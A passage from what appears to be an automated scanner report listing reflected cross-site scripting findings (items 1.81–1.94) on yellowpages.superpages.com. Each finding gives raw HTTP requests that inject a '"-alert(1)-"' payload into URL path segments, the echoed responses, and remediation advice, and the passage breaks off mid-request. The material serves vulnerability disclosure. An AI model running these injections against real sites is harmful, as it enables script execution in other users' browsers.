GET /common/js/s_code.jsb38e5"-alert(1)-"7e6c3fe42b7 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/s_code.jsb38e5&quot;-alert(1)-&quot;7e6c3fe42b7
Server: Unspecified
Set-Cookie: JSESSIONID=7C8652CC4A96C376FF779F3B2EFDF4DA; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:53 GMT
Cache-Control: private
Content-Length: 36077


                       <!--
       
       -->


                                   
...[SNIP]...
/yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/s_code.jsb38e5"-alert(1)-"7e6c3fe42b7?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.81. http://yellowpages.superpages.com/common/js/sendtom.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/sendtom.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 77bf9"-alert(1)-"8dab2c2c71d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common77bf9"-alert(1)-"8dab2c2c71d/js/sendtom.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common77bf9&quot;-alert(1)-&quot;8dab2c2c71d/js/sendtom.js
Server: Unspecified
Set-Cookie: JSESSIONID=983DC2F2B845AB07443C74AFEC6EC3C9; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:31 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common77bf9"-alert(1)-"8dab2c2c71d/js/sendtom.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.82. http://yellowpages.superpages.com/common/js/sendtom.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/sendtom.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1f6a0"-alert(1)-"aaabf2e973b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js1f6a0"-alert(1)-"aaabf2e973b/sendtom.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js1f6a0&quot;-alert(1)-&quot;aaabf2e973b/sendtom.js
Server: Unspecified
Set-Cookie: JSESSIONID=6CD48A2FE82530486D8D85DC245C52C4; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:38 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js1f6a0"-alert(1)-"aaabf2e973b/sendtom.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.83. http://yellowpages.superpages.com/common/js/sendtom.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/sendtom.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eabbc"-alert(1)-"b304378f63d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/sendtom.jseabbc"-alert(1)-"b304378f63d HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/sendtom.jseabbc&quot;-alert(1)-&quot;b304378f63d
Server: Unspecified
Set-Cookie: JSESSIONID=74A77B104A3B996CCA486703E507CA88; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:45 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/sendtom.jseabbc"-alert(1)-"b304378f63d?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.84. http://yellowpages.superpages.com/common/js/spflyouts.1.0.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/spflyouts.1.0.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4461d"-alert(1)-"6930c85dd26 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common4461d"-alert(1)-"6930c85dd26/js/spflyouts.1.0.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common4461d&quot;-alert(1)-&quot;6930c85dd26/js/spflyouts.1.0.js
Server: Unspecified
Set-Cookie: JSESSIONID=F173D17509F7FCAEF102A94A23B8CBF8; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:00 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common4461d"-alert(1)-"6930c85dd26/js/spflyouts.1.0.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.85. http://yellowpages.superpages.com/common/js/spflyouts.1.0.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/spflyouts.1.0.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91df3"-alert(1)-"e8a95c1c0a9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js91df3"-alert(1)-"e8a95c1c0a9/spflyouts.1.0.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js91df3&quot;-alert(1)-&quot;e8a95c1c0a9/spflyouts.1.0.js
Server: Unspecified
Set-Cookie: JSESSIONID=F03C23C51384E7387839BE0403233F2F; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:08 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js91df3"-alert(1)-"e8a95c1c0a9/spflyouts.1.0.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.86. http://yellowpages.superpages.com/common/js/spflyouts.1.0.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/spflyouts.1.0.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2cc0a"-alert(1)-"689c16f939c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/spflyouts.1.0.js2cc0a"-alert(1)-"689c16f939c HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/spflyouts.1.0.js2cc0a&quot;-alert(1)-&quot;689c16f939c
Server: Unspecified
Set-Cookie: JSESSIONID=6AC921D19E8E658E299A352472A367AB; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:22 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
pages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/spflyouts.1.0.js2cc0a"-alert(1)-"689c16f939c?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.87. http://yellowpages.superpages.com/common/js/swfobject.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/swfobject.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98ab9"-alert(1)-"d45a7fa5aaf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common98ab9"-alert(1)-"d45a7fa5aaf/js/swfobject.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common98ab9&quot;-alert(1)-&quot;d45a7fa5aaf/js/swfobject.js
Server: Unspecified
Set-Cookie: JSESSIONID=36DFAAE7A032362EAD1EE07FE700AD0E; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:27 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common98ab9"-alert(1)-"d45a7fa5aaf/js/swfobject.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.88. http://yellowpages.superpages.com/common/js/swfobject.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/swfobject.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df462"-alert(1)-"539d2934731 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/jsdf462"-alert(1)-"539d2934731/swfobject.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/jsdf462&quot;-alert(1)-&quot;539d2934731/swfobject.js
Server: Unspecified
Set-Cookie: JSESSIONID=C59E3AC4220944843B48F6BB847E4A3D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:35 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/jsdf462"-alert(1)-"539d2934731/swfobject.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.89. http://yellowpages.superpages.com/common/js/swfobject.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/swfobject.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8519c"-alert(1)-"64c92015151 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/swfobject.js8519c"-alert(1)-"64c92015151 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/swfobject.js8519c&quot;-alert(1)-&quot;64c92015151
Server: Unspecified
Set-Cookie: JSESSIONID=534F43F8840C3F0B4E24401AC93C69ED; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:46 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
llowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/swfobject.js8519c"-alert(1)-"64c92015151?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.90. http://yellowpages.superpages.com/common/js/widget.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/widget.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 633b9"-alert(1)-"357d38575b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common633b9"-alert(1)-"357d38575b/js/widget.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common633b9&quot;-alert(1)-&quot;357d38575b/js/widget.js
Server: Unspecified
Set-Cookie: JSESSIONID=EF961C373B22D3D46A32D7CCF7FFBD15; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:08 GMT
Cache-Control: private
Content-Length: 36075


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common633b9"-alert(1)-"357d38575b/js/widget.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.91. http://yellowpages.superpages.com/common/js/widget.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/widget.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfd66"-alert(1)-"3845f6ea7bb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/jsdfd66"-alert(1)-"3845f6ea7bb/widget.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/jsdfd66&quot;-alert(1)-&quot;3845f6ea7bb/widget.js
Server: Unspecified
Set-Cookie: JSESSIONID=0081BD1CF81E1EE984F6C8482C688002; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:16 GMT
Cache-Control: private
Content-Length: 36077


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/jsdfd66"-alert(1)-"3845f6ea7bb/widget.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.92. http://yellowpages.superpages.com/common/js/widget.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/widget.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcb24"-alert(1)-"a6a108b5958 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/widget.jsbcb24"-alert(1)-"a6a108b5958 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/widget.jsbcb24&quot;-alert(1)-&quot;a6a108b5958
Server: Unspecified
Set-Cookie: JSESSIONID=843B6CF9DEDBEBDE61C92986F1356639; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:23 GMT
Cache-Control: private
Content-Length: 36077


                       <!--
       
       -->


                                   
...[SNIP]...
/yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/widget.jsbcb24"-alert(1)-"a6a108b5958?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.93. http://yellowpages.superpages.com/common/shared.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/shared.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1f8b6"-alert(1)-"067297a1807 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common1f8b6"-alert(1)-"067297a1807/shared.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common1f8b6&quot;-alert(1)-&quot;067297a1807/shared.js
Server: Unspecified
Set-Cookie: JSESSIONID=6C20F9C369195FD6680789B4DF391F6D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:06 GMT
Cache-Control: private
Content-Length: 36071


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common1f8b6"-alert(1)-"067297a1807/shared.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.94. http://yellowpages.superpages.com/common/shared.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/shared.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d77a"-alert(1)-"d7d525d2174 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/shared.js5d77a"-alert(1)-"d7d525d2174 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
